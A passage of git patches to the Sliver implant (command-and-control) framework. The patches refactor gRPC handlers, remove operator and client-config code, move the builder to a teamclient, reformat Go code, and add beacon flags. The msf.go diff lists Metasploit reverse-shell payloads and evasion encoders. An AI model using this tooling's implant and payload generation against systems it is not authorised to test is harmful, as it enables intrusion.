"/rpcpb.SliverRPC/GetRportFwdListeners", + FullMethod: SliverRPC_GetRportFwdListeners_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).GetRportFwdListeners(ctx, req.(*sliverpb.RportFwdListenersReq)) @@ -5157,7 +5291,7 @@ func _SliverRPC_StopRportFwdListener_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StopRportFwdListener", + FullMethod: SliverRPC_StopRportFwdListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StopRportFwdListener(ctx, req.(*sliverpb.RportFwdStopListenerReq)) @@ -5175,7 +5309,7 @@ func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/OpenSession", + FullMethod: SliverRPC_OpenSession_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).OpenSession(ctx, req.(*sliverpb.OpenSession)) @@ -5193,7 +5327,7 @@ func _SliverRPC_CloseSession_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CloseSession", + FullMethod: SliverRPC_CloseSession_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CloseSession(ctx, req.(*sliverpb.CloseSession)) @@ -5211,7 +5345,7 @@ func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegisterExtension", + FullMethod: SliverRPC_RegisterExtension_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegisterExtension(ctx, req.(*sliverpb.RegisterExtensionReq)) @@ -5229,7 +5363,7 @@ func _SliverRPC_CallExtension_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CallExtension", + FullMethod: SliverRPC_CallExtension_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CallExtension(ctx, req.(*sliverpb.CallExtensionReq)) @@ -5247,7 +5381,7 @@ func _SliverRPC_ListExtensions_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ListExtensions", + FullMethod: SliverRPC_ListExtensions_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ListExtensions(ctx, req.(*sliverpb.ListExtensionsReq)) @@ -5265,7 +5399,7 @@ func _SliverRPC_RegisterWasmExtension_Handler(srv interface{}, ctx context.Conte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegisterWasmExtension", + FullMethod: SliverRPC_RegisterWasmExtension_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegisterWasmExtension(ctx, req.(*sliverpb.RegisterWasmExtensionReq)) @@ -5283,7 +5417,7 @@ func _SliverRPC_ListWasmExtensions_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ListWasmExtensions", + FullMethod: SliverRPC_ListWasmExtensions_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ListWasmExtensions(ctx, req.(*sliverpb.ListWasmExtensionsReq)) @@ -5301,7 +5435,7 @@ func _SliverRPC_ExecWasmExtension_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ExecWasmExtension", + FullMethod: SliverRPC_ExecWasmExtension_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ExecWasmExtension(ctx, req.(*sliverpb.ExecWasmExtensionReq)) @@ -5319,7 +5453,7 @@ func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGStartPortForward", + FullMethod: SliverRPC_WGStartPortForward_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGStartPortForward(ctx, req.(*sliverpb.WGPortForwardStartReq)) @@ -5337,7 +5471,7 @@ func _SliverRPC_WGStopPortForward_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGStopPortForward", + FullMethod: SliverRPC_WGStopPortForward_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGStopPortForward(ctx, req.(*sliverpb.WGPortForwardStopReq)) @@ -5355,7 +5489,7 @@ func _SliverRPC_WGStartSocks_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGStartSocks", + FullMethod: SliverRPC_WGStartSocks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGStartSocks(ctx, req.(*sliverpb.WGSocksStartReq)) @@ -5373,7 +5507,7 @@ func _SliverRPC_WGStopSocks_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGStopSocks", + FullMethod: SliverRPC_WGStopSocks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGStopSocks(ctx, req.(*sliverpb.WGSocksStopReq)) @@ -5391,7 +5525,7 @@ func _SliverRPC_WGListForwarders_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGListForwarders", + FullMethod: SliverRPC_WGListForwarders_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGListForwarders(ctx, req.(*sliverpb.WGTCPForwardersReq)) @@ -5409,7 +5543,7 @@ func _SliverRPC_WGListSocksServers_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGListSocksServers", + FullMethod: SliverRPC_WGListSocksServers_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGListSocksServers(ctx, req.(*sliverpb.WGSocksServersReq)) @@ -5427,7 +5561,7 @@ func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Shell", + FullMethod: SliverRPC_Shell_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Shell(ctx, req.(*sliverpb.ShellReq)) @@ -5445,7 +5579,7 @@ func _SliverRPC_Portfwd_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Portfwd", + FullMethod: SliverRPC_Portfwd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Portfwd(ctx, req.(*sliverpb.PortfwdReq)) @@ -5463,7 +5597,7 @@ func _SliverRPC_CreateSocks_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CreateSocks", + FullMethod: SliverRPC_CreateSocks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CreateSocks(ctx, req.(*sliverpb.Socks)) @@ -5481,7 +5615,7 @@ func _SliverRPC_CloseSocks_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CloseSocks", + FullMethod: SliverRPC_CloseSocks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CloseSocks(ctx, req.(*sliverpb.Socks)) @@ -5525,7 +5659,7 @@ func _SliverRPC_CreateTunnel_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CreateTunnel", + FullMethod: SliverRPC_CreateTunnel_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CreateTunnel(ctx, req.(*sliverpb.Tunnel)) @@ -5543,7 +5677,7 @@ func _SliverRPC_CloseTunnel_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CloseTunnel", + FullMethod: SliverRPC_CloseTunnel_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CloseTunnel(ctx, req.(*sliverpb.Tunnel)) @@ -5609,10 +5743,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "GetVersion", Handler: _SliverRPC_GetVersion_Handler, }, - { - MethodName: "GetOperators", - Handler: _SliverRPC_GetOperators_Handler, - }, { MethodName: "Kill", Handler: _SliverRPC_Kill_Handler, diff --git a/protobuf/sliverpb/sliver.pb.go b/protobuf/sliverpb/sliver.pb.go index bb9da3af55..c5eee9774a 100644 --- a/protobuf/sliverpb/sliver.pb.go +++ b/protobuf/sliverpb/sliver.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.27.1 -// protoc v3.21.12 +// protoc-gen-go v1.31.0 +// protoc v3.15.8 // source: sliverpb/sliver.proto package sliverpb diff --git a/server/rpc/rpc-operators.go b/server/rpc/rpc-operators.go deleted file mode 100644 index 38ab232e89..0000000000 --- a/server/rpc/rpc-operators.go +++ /dev/null @@ -1,53 +0,0 @@ -package rpc - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" -) - -// GetOperators - Get a list of operators -func (s *Server) GetOperators(ctx context.Context, _ *commonpb.Empty) (*clientpb.Operators, error) { - operators := &clientpb.Operators{Operators: []*clientpb.Operator{}} - dbOperators, err := db.OperatorAll() - if err != nil { - return nil, ErrDatabaseFailure - } - for _, dbOperator := range dbOperators { - operators.Operators = append(operators.Operators, &clientpb.Operator{ - Name: dbOperator.Name, - Online: isOperatorOnline(dbOperator.Name), - }) - } - return operators, nil -} - -func isOperatorOnline(commonName string) bool { - for _, operator := range core.Clients.ActiveOperators() { - if commonName == operator { - return true - } - } - return false -} diff --git a/server/transport/rpc.go b/server/transport/rpc.go index 00ef9c6adc..c04fe457fd 100644 --- a/server/transport/rpc.go +++ b/server/transport/rpc.go @@ -21,6 +21,7 @@ package transport import ( "context" + "github.com/bishopfox/sliver/server/core" "github.com/reeflective/team/server" "github.com/reeflective/team/transports/grpc/proto" ) @@ -62,8 +63,9 @@ func (ts *rpcServer) GetUsers(context.Context, *proto.Empty) (*proto.Users, erro userspb := make([]*proto.User, len(users)) for i, user := range users { userspb[i] = &proto.User{ - Name: user.Name, - Online: user.Online, + Name: user.Name, + Online: isOperatorOnline(user.Name), + // Online: user.Online, LastSeen: user.LastSeen.Unix(), Clients: int32(user.Clients), } @@ -71,3 +73,12 @@ func (ts *rpcServer) GetUsers(context.Context, *proto.Empty) (*proto.Users, erro return &proto.Users{Users: userspb}, err } + +func isOperatorOnline(commonName string) bool { + for _, operator := range core.Clients.ActiveOperators() { + if commonName == operator { + return true + } + } + return false +} From 5583b65517ede65f86dd2f9c5d530947fe94a6d9 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 18:46:04 +0200 Subject: [PATCH 022/124] Remove client configs code --- client/assets/aliases.go | 6 +- client/assets/armories.go | 8 +- client/assets/assets.go | 18 ++--- client/assets/config.go | 123 ------------------------------ client/assets/extensions.go | 8 +- client/assets/settings.go | 6 +- server/command/builder/builder.go | 30 +++----- 7 files changed, 35 insertions(+), 164 deletions(-) delete mode 100644 client/assets/config.go diff --git a/client/assets/aliases.go b/client/assets/aliases.go index 2e372fdb73..182313c7f6 100644 --- a/client/assets/aliases.go +++ b/client/assets/aliases.go @@ -28,12 +28,12 @@ const ( AliasesDirName = "aliases" ) -// GetAliasesDir - Returns the path to the config dir +// GetAliasesDir - Returns the path to the config dir. func GetAliasesDir() string { rootDir, _ := filepath.Abs(GetRootAppDir()) dir := filepath.Join(rootDir, AliasesDirName) if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { log.Fatal(err) } @@ -41,7 +41,7 @@ func GetAliasesDir() string { return dir } -// GetInstalledAliasManifests - Returns a list of installed alias manifests +// GetInstalledAliasManifests - Returns a list of installed alias manifests. func GetInstalledAliasManifests() []string { aliasDir := GetAliasesDir() aliasDirContent, err := os.ReadDir(aliasDir) diff --git a/client/assets/armories.go b/client/assets/armories.go index 6e596423f1..ed2d26c249 100644 --- a/client/assets/armories.go +++ b/client/assets/armories.go @@ -31,9 +31,9 @@ const ( ) var ( - // DefaultArmoryPublicKey - The default public key for the armory + // DefaultArmoryPublicKey - The default public key for the armory. DefaultArmoryPublicKey string - // DefaultArmoryRepoURL - The default repo url for the armory + // DefaultArmoryRepoURL - The default repo url for the armory. DefaultArmoryRepoURL string defaultArmoryConfig = &ArmoryConfig{ @@ -42,7 +42,7 @@ var ( } ) -// ArmoryConfig - The armory config file +// ArmoryConfig - The armory config file. type ArmoryConfig struct { PublicKey string `json:"public_key"` RepoURL string `json:"repo_url"` @@ -50,7 +50,7 @@ type ArmoryConfig struct { AuthorizationCmd string `json:"authorization_cmd"` } -// GetArmoriesConfig - The parsed armory config file +// GetArmoriesConfig - The parsed armory config file. func GetArmoriesConfig() []*ArmoryConfig { armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName) if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) { diff --git a/client/assets/assets.go b/client/assets/assets.go index 06e4edb2c5..aa119af2d1 100644 --- a/client/assets/assets.go +++ b/client/assets/assets.go @@ -30,18 +30,18 @@ import ( ) const ( - // SliverClientDirName - Directory storing all of the client configs/logs + // SliverClientDirName - Directory storing all of the client configs/logs. SliverClientDirName = ".sliver-client" versionFileName = "version" ) -// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/ +// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/. func GetRootAppDir() string { user, _ := user.Current() dir := filepath.Join(user.HomeDir, SliverClientDirName) if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { log.Fatal(err) } @@ -49,11 +49,11 @@ func GetRootAppDir() string { return dir } -// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/ +// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/. func GetClientLogsDir() string { logsDir := filepath.Join(GetRootAppDir(), "logs") if _, err := os.Stat(logsDir); os.IsNotExist(err) { - err = os.MkdirAll(logsDir, 0700) + err = os.MkdirAll(logsDir, 0o700) if err != nil { log.Fatal(err) } @@ -61,11 +61,11 @@ func GetClientLogsDir() string { return logsDir } -// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/ +// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/. func GetConsoleLogsDir() string { consoleLogsDir := filepath.Join(GetClientLogsDir(), "console") if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) { - err = os.MkdirAll(consoleLogsDir, 0700) + err = os.MkdirAll(consoleLogsDir, 0o700) if err != nil { log.Fatal(err) } @@ -86,10 +86,10 @@ func saveAssetVersion(appDir string) { versionFilePath := filepath.Join(appDir, versionFileName) fVer, _ := os.Create(versionFilePath) defer fVer.Close() - fVer.Write([]byte(ver.GitCommit)) + fVer.WriteString(ver.GitCommit) } -// Setup - Extract or create local assets +// Setup - Extract or create local assets. func Setup(force bool, echo bool) { appDir := GetRootAppDir() localVer := assetVersion() diff --git a/client/assets/config.go b/client/assets/config.go deleted file mode 100644 index 6f334e1157..0000000000 --- a/client/assets/config.go +++ /dev/null @@ -1,123 +0,0 @@ -package assets - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "crypto/sha256" - "encoding/json" - "errors" - "fmt" - "io" - "log" - "os" - "path/filepath" -) - -const ( - // ConfigDirName - Directory name containing config files - ConfigDirName = "configs" -) - -// ClientConfig - Client JSON config -type ClientConfig struct { - Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead) - LHost string `json:"lhost"` - LPort int `json:"lport"` - Token string `json:"token"` - CACertificate string `json:"ca_certificate"` - PrivateKey string `json:"private_key"` - Certificate string `json:"certificate"` -} - -// GetConfigDir - Returns the path to the config dir -func GetConfigDir() string { - rootDir, _ := filepath.Abs(GetRootAppDir()) - dir := filepath.Join(rootDir, ConfigDirName) - if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0o700) - if err != nil { - log.Fatal(err) - } - } - return dir -} - -// GetConfigs - Returns a list of available configs -func GetConfigs() map[string]*ClientConfig { - configDir := GetConfigDir() - configFiles, err := os.ReadDir(configDir) - if err != nil { - log.Printf("No configs found %v", err) - return map[string]*ClientConfig{} - } - - confs := map[string]*ClientConfig{} - for _, confFile := range configFiles { - confFilePath := filepath.Join(configDir, confFile.Name()) - // log.Printf("Parsing config %s", confFilePath) - - conf, err := ReadConfig(confFilePath) - if err != nil { - continue - } - digest := sha256.Sum256([]byte(conf.Certificate)) - confs[fmt.Sprintf("%s@%s (%x)", conf.Operator, conf.LHost, digest[:8])] = conf - } - return confs -} - -// ReadConfig - Load config into struct -func ReadConfig(confFilePath string) (*ClientConfig, error) { - confFile, err := os.Open(confFilePath) - if err != nil { - log.Printf("Open failed %v", err) - return nil, err - } - defer confFile.Close() - data, err := io.ReadAll(confFile) - if err != nil { - log.Printf("Read failed %v", err) - return nil, err - } - conf := &ClientConfig{} - err = json.Unmarshal(data, conf) - if err != nil { - log.Printf("Parse failed %v", err) - return nil, err - } - return conf, nil -} - -// SaveConfig - Save a config to disk -func SaveConfig(config *ClientConfig) error { - if config.LHost == "" || config.Operator == "" { - return errors.New("empty config") - } - configDir := GetConfigDir() - filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost)) - saveTo, _ := filepath.Abs(filepath.Join(configDir, filename)) - configJSON, _ := json.Marshal(config) - err := os.WriteFile(saveTo, configJSON, 0o600) - if err != nil { - log.Printf("Failed to write config to: %s (%v)", saveTo, err) - return err - } - log.Printf("Saved new client config to: %s", saveTo) - return nil -} diff --git a/client/assets/extensions.go b/client/assets/extensions.go index 4e1034f1ae..1b7a0bc3e6 100644 --- a/client/assets/extensions.go +++ b/client/assets/extensions.go @@ -25,16 +25,16 @@ import ( ) const ( - // ExtensionsDirName - Directory storing the client side extensions + // ExtensionsDirName - Directory storing the client side extensions. ExtensionsDirName = "extensions" ) -// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions +// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions. func GetExtensionsDir() string { rootDir, _ := filepath.Abs(GetRootAppDir()) dir := filepath.Join(rootDir, ExtensionsDirName) if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { log.Fatal(err) } @@ -42,7 +42,7 @@ func GetExtensionsDir() string { return dir } -// GetInstalledExtensionManifests - Returns a list of installed extension manifests +// GetInstalledExtensionManifests - Returns a list of installed extension manifests. func GetInstalledExtensionManifests() []string { extDir := GetExtensionsDir() extDirContent, err := os.ReadDir(extDir) diff --git a/client/assets/settings.go b/client/assets/settings.go index 487e807b0e..341e4f30c2 100644 --- a/client/assets/settings.go +++ b/client/assets/settings.go @@ -28,7 +28,7 @@ const ( settingsFileName = "tui-settings.json" ) -// ClientSettings - Client JSON config +// ClientSettings - Client JSON config. type ClientSettings struct { TableStyle string `json:"tables"` AutoAdult bool `json:"autoadult"` @@ -40,7 +40,7 @@ type ClientSettings struct { ConsoleLogs bool `json:"console_logs"` } -// LoadSettings - Load the client settings from disk +// LoadSettings - Load the client settings from disk. func LoadSettings() (*ClientSettings, error) { rootDir, _ := filepath.Abs(GetRootAppDir()) data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName)) @@ -67,7 +67,7 @@ func defaultSettings() *ClientSettings { } } -// SaveSettings - Save the current settings to disk +// SaveSettings - Save the current settings to disk. func SaveSettings(settings *ClientSettings) error { rootDir, _ := filepath.Abs(GetRootAppDir()) if settings == nil { diff --git a/server/command/builder/builder.go b/server/command/builder/builder.go index 6bab0ac0e7..e47da09326 100644 --- a/server/command/builder/builder.go +++ b/server/command/builder/builder.go @@ -26,7 +26,6 @@ import ( "runtime/debug" "strings" - clientAssets "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -112,22 +111,6 @@ func runBuilderCmd(cmd *cobra.Command, args []string) { externalBuilder.Templates = []string{"sliver"} // load the client configuration from the filesystem - config, err := clientAssets.ReadConfig(configPath) - if err != nil { - builderLog.Fatalf("Invalid config file: %s", err) - os.Exit(-1) - } - if externalBuilder.Name == "" { - builderLog.Infof("No builder name was specified, attempting to use hostname") - externalBuilder.Name, err = os.Hostname() - if err != nil { - builderLog.Errorf("Failed to get hostname: %s", err) - externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS) - } - } - builderLog.Infof("Hello my name is: %s", externalBuilder.Name) - - builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort) startBuilderTeamclient(externalBuilder, configPath) } @@ -267,7 +250,6 @@ func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string gTeamclient := transport.NewTeamClient() // The teamclient requires hooks to bind RPC clients around its connection. - // NOTE: this might not be needed either if Sliver uses its own teamclient backend. bindClient := func(clientConn any) error { grpcClient, ok := clientConn.(*grpc.ClientConn) if !ok || grpcClient == nil { @@ -296,6 +278,18 @@ func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string os.Exit(-1) } + if externalBuilder.Name == "" { + builderLog.Infof("No builder name was specified, attempting to use hostname") + externalBuilder.Name, err = os.Hostname() + if err != nil { + builderLog.Errorf("Failed to get hostname: %s", err) + externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.User, runtime.GOOS) + } + } + builderLog.Infof("Hello my name is: %s", externalBuilder.Name) + + builderLog.Infof("Connecting to %s@%s:%d ...", config.User, config.Host, config.Port) + // And immediately connect with it. teamclient.Connect(client.WithConfig(config)) defer teamclient.Disconnect() From d31592bd659b6fdbe996d3b903a50816b2f4c786 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 18:55:04 +0200 Subject: [PATCH 023/124] Go fmt --- server/msf/msf.go | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/server/msf/msf.go b/server/msf/msf.go index 18252d7ddf..7420b00d01 100644 --- a/server/msf/msf.go +++ b/server/msf/msf.go @@ -38,20 +38,20 @@ const ( var ( msfLog = log.NamedLogger("msf", "venom") - // ValidArches - Support CPU architectures + // ValidArches - Support CPU architectures. ValidArches = map[string]bool{ "x86": true, "x64": true, } - // ValidEncoders - Valid MSF encoders + // ValidEncoders - Valid MSF encoders. ValidEncoders = map[string]bool{ "": true, "x86/shikata_ga_nai": true, "x64/xor_dynamic": true, } - // ValidPayloads - Valid payloads and OS combos + // ValidPayloads - Valid payloads and OS combos. validPayloads = map[string]map[string]bool{ "windows": { "meterpreter_reverse_http": true, @@ -102,7 +102,7 @@ var ( } ) -// VenomConfig - +// VenomConfig -. type VenomConfig struct { Os string Arch string @@ -117,13 +117,13 @@ type VenomConfig struct { AdvOptions string } -// Version - Return the version of MSFVenom +// Version - Return the version of MSFVenom. func Version() (string, error) { stdout, err := consoleCmd([]string{"--version"}) return string(stdout), err } -// VenomPayload - Generates an MSFVenom payload +// VenomPayload - Generates an MSFVenom payload. func VenomPayload(config VenomConfig) ([]byte, error) { // Check if msfvenom is in the path if _, err := exec.LookPath(venomBin); err != nil { @@ -216,7 +216,7 @@ func VenomPayload(config VenomConfig) ([]byte, error) { return venomCmd(args) } -// venomCmd - Execute a msfvenom command +// venomCmd - Execute a msfvenom command. func venomCmd(args []string) ([]byte, error) { msfLog.Printf("%s %v", venomBin, args) cmd := exec.Command(venomBin, args...) @@ -235,7 +235,7 @@ func venomCmd(args []string) ([]byte, error) { return stdout.Bytes(), err } -// consoleCmd - Execute a msfvenom command +// consoleCmd - Execute a msfvenom command. func consoleCmd(args []string) ([]byte, error) { cmd := exec.Command(consoleBin, args...) var stdout bytes.Buffer @@ -252,7 +252,7 @@ func consoleCmd(args []string) ([]byte, error) { return stdout.Bytes(), err } -// Arch - Convert golang arch to msf arch +// Arch - Convert golang arch to msf arch. func Arch(arch string) string { if arch == "amd64" { return "x64" From 47a280cc165a3e2630600a633d8af274a305af4f Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 19:04:20 +0200 Subject: [PATCH 024/124] Fix beacon compile flags + debug level for client asciicast --- client/command/generate/commands.go | 9 +++++---- server/rpc/rpc-client-logs.go | 6 +++--- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index cd5b971859..089873f589 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -1,14 +1,13 @@ package generate import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -44,6 +43,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { // Beacon flags and completions. coreImplantFlags("beacon", generateBeaconCmd) compileImplantFlags("beacon", generateBeaconCmd) + coreBeaconFlags("beacon", generateBeaconCmd) coreImplantFlagCompletions(generateBeaconCmd, con) generateCmd.AddCommand(generateBeaconCmd) @@ -202,6 +202,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { // Beacon flags and completions. coreImplantFlags("beacon", profilesNewBeaconCmd) compileImplantFlags("beacon", profilesNewBeaconCmd) + coreBeaconFlags("beacon", profilesNewBeaconCmd) coreImplantFlagCompletions(profilesNewBeaconCmd, con) profilesRmCmd := &cobra.Command{ diff --git a/server/rpc/rpc-client-logs.go b/server/rpc/rpc-client-logs.go index 4f32302842..c12df0e731 100644 --- a/server/rpc/rpc-client-logs.go +++ b/server/rpc/rpc-client-logs.go @@ -114,7 +114,7 @@ func (rpc *Server) ClientLog(stream rpcpb.SliverRPC_ClientLogServer) error { return err } } - rpcClientLogs.Infof("Received %d bytes of client console log data for stream %s", len(fromClient.GetData()), streamName) + rpcClientLogs.Debugf("Received %d bytes of client console log data for stream %s", len(fromClient.GetData()), streamName) streams[streamName].Write(fromClient.GetData()) } return nil @@ -139,7 +139,7 @@ func openNewLogStream(logsDir string, stream string) (*LogStream, error) { } func randomSuffix(n int) string { - var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") + letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") buf := make([]rune, n) for i := range buf { buf[i] = letterRunes[insecureRand.Intn(len(letterRunes))] @@ -168,7 +168,7 @@ func gzipFile(filePath string) { return } defer inputFile.Close() - outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600) + outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) if err != nil { rpcClientLogs.Errorf("Failed to open gz client console log file: %s", err) return From 163c11b60c5aeb1d00053fc8f9438de5b43aae86 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 19:04:44 +0200 Subject: [PATCH 025/124] Fmt --- client/command/generate/canaries.go | 9 ++-- client/command/generate/generate-beacon.go | 5 